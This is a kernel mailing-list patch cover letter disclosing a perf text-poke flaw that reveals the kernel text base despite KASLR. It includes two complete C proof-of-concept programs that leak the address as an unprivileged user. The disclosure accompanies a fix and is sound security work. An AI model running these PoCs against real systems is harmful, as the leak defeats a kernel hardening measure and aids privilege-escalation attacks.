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* [PATCH 0/1] perf/core: Text-poke events expose the kernel text base
@ 2026-09-28 17:59 Zhengchuan Liang
  2026-09-28 17:59 ` [PATCH 1/1] perf/core: Require kernel access for text poke events Zhengchuan Liang
  0 siblings, 1 reply; 2+ messages in thread
From: Zhengchuan Liang @ 2026-09-28 17:59 UTC (permalink / raw)
  To: Peter Zijlstra
  Cc: Ingo Molnar, Arnaldo Carvalho de Melo, Namhyung Kim,
	Mark Rutland, Alexander Shishkin, Jiri Olsa, Ian Rogers,
	Adrian Hunter, James Clark, linux-perf-users, linux-kernel,
	Zhengchuan Liang

Hi,

I found and validated a kernel address disclosure through perf's
text-poke sideband. At the upstream default perf_event_paranoid=2, an
unprivileged user can open a task-local PERF_COUNT_SW_DUMMY event with
exclude_kernel=1 and text_poke=1, then mmap its ring buffer.
PERF_RECORD_TEXT_POKE records contain raw relocated kernel instruction
addresses, revealing the runtime kernel text base for a known image
despite KASLR.

A disabled, count-only PERF_TYPE_TRACEPOINT event can trigger the leak:
registering its first perf consumer updates an inline static call, and the
observer receives the resulting text-poke record. Numeric tracepoint IDs
can be scanned without tracefs access. A UDP GRO static-call update
independently triggers the same disclosure, so restricting tracepoint
registration would leave the underlying leak open.

The first minimized x86_64 PoC scans tracepoint IDs instead of assuming
a fixed ID. Run both PoCs as an unprivileged user with
perf_event_paranoid=2.

------BEGIN poc1------

  #define _GNU_SOURCE
  #include <linux/perf_event.h>
  #include <stdint.h>
  #include <stdio.h>
  #include <sys/mman.h>
  #include <sys/syscall.h>
  #include <unistd.h>

  #define DATA_PAGES 8
  #define MAX_ID 65535

  struct text_poke {
          struct perf_event_header header;
          uint64_t addr;
          uint16_t old_len;
          uint16_t new_len;
  };

  static int perf_open(uint32_t type, uint64_t config, int disabled,
                       int text_poke)
  {
          struct perf_event_attr attr = {
                  .type = type,
                  .size = sizeof(attr),
                  .config = config,
                  .sample_period = text_poke,
                  .wakeup_events = 1,
                  .disabled = disabled,
                  .exclude_kernel = 1,
                  .text_poke = text_poke,
          };

          return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  }

  int main(void)
  {
          long page_size = sysconf(_SC_PAGESIZE);
          struct perf_event_mmap_page *meta;
          unsigned char *data;
          uint64_t head, tail;
          unsigned int id;
          int observer;

          observer = perf_open(PERF_TYPE_SOFTWARE,
                               PERF_COUNT_SW_DUMMY, 0, 1);
          if (observer < 0) {
                  perror("observer perf_event_open");
                  return 1;
          }
          meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
                      PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
          if (meta == MAP_FAILED) {
                  perror("mmap");
                  return 1;
          }
          data = (unsigned char *)meta + page_size;

          for (id = 1; id <= MAX_ID; id++) {
                  uint64_t before = __atomic_load_n(&meta->data_head,
                                                    __ATOMIC_ACQUIRE);
                  int trigger = perf_open(PERF_TYPE_TRACEPOINT,
                                          id, 1, 0);

                  if (trigger < 0)
                          continue;
                  head = __atomic_load_n(&meta->data_head,
                                         __ATOMIC_ACQUIRE);
                  if (head != before)
                          break;
                  close(trigger);
          }
          if (id > MAX_ID)
                  return 2;

          tail = meta->data_tail;
          while (tail < head) {
                  struct text_poke *record = (void *)(data +
                          (tail & (meta->data_size - 1)));

                  if (record->header.type == PERF_RECORD_TEXT_POKE) {
                          printf("id=%u text_poke_address=%#llx\n", id,
                                 (unsigned long long)record->addr);
                          return 0;
                  }
                  tail += record->header.size;
          }
          return 3;
  }

------END poc1------

The second PoC triggers a static-call update by configuring UDP GRO and
ESP-in-UDP on an IPv4 UDP socket.

------BEGIN poc2------

  #define _GNU_SOURCE
  #include <linux/perf_event.h>
  #include <linux/udp.h>
  #include <netinet/in.h>
  #include <stdint.h>
  #include <stdio.h>
  #include <sys/mman.h>
  #include <sys/socket.h>
  #include <sys/syscall.h>
  #include <unistd.h>

  #define DATA_PAGES 8

  struct text_poke {
          struct perf_event_header header;
          uint64_t addr;
          uint16_t old_len;
          uint16_t new_len;
  };

  int main(void)
  {
          struct perf_event_attr attr = {
                  .type = PERF_TYPE_SOFTWARE,
                  .size = sizeof(attr),
                  .config = PERF_COUNT_SW_DUMMY,
                  .sample_period = 1,
                  .wakeup_events = 1,
                  .exclude_kernel = 1,
                  .text_poke = 1,
          };
          long page_size = sysconf(_SC_PAGESIZE);
          struct perf_event_mmap_page *meta;
          unsigned char *data;
          uint64_t head, tail;
          int one = 1, encap = UDP_ENCAP_ESPINUDP;
          int observer, sock;

          observer = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
          if (observer < 0) {
                  perror("observer perf_event_open");
                  return 1;
          }
          meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
                      PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
          if (meta == MAP_FAILED) {
                  perror("mmap");
                  return 1;
          }
          data = (unsigned char *)meta + page_size;

          sock = socket(AF_INET, SOCK_DGRAM, 0);
          if (sock < 0 ||
              setsockopt(sock, IPPROTO_UDP, UDP_GRO, &one, sizeof(one)) ||
              setsockopt(sock, IPPROTO_UDP, UDP_ENCAP,
                         &encap, sizeof(encap))) {
                  perror("UDP setup");
                  return 1;
          }

          head = __atomic_load_n(&meta->data_head, __ATOMIC_ACQUIRE);
          tail = meta->data_tail;
          while (tail < head) {
                  struct text_poke *record = (void *)(data +
                          (tail & (meta->data_size - 1)));

                  if (record->header.type == PERF_RECORD_TEXT_POKE) {
                          printf("text_poke_address=%#llx\n",
                                 (unsigned long long)record->addr);
                          return 0;
                  }
                  tail += record->header.size;
          }
          return 2;
  }

------END poc2------

I reproduced the leak through both triggers as an unprivileged user on a
kernel built from Torvalds' v7.3-rc5.

Zhengchuan Liang (1):
  perf/core: Require kernel access for text poke events

 kernel/events/core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.34.1

^ permalink raw reply	[flat|nested] 2+ messages in thread
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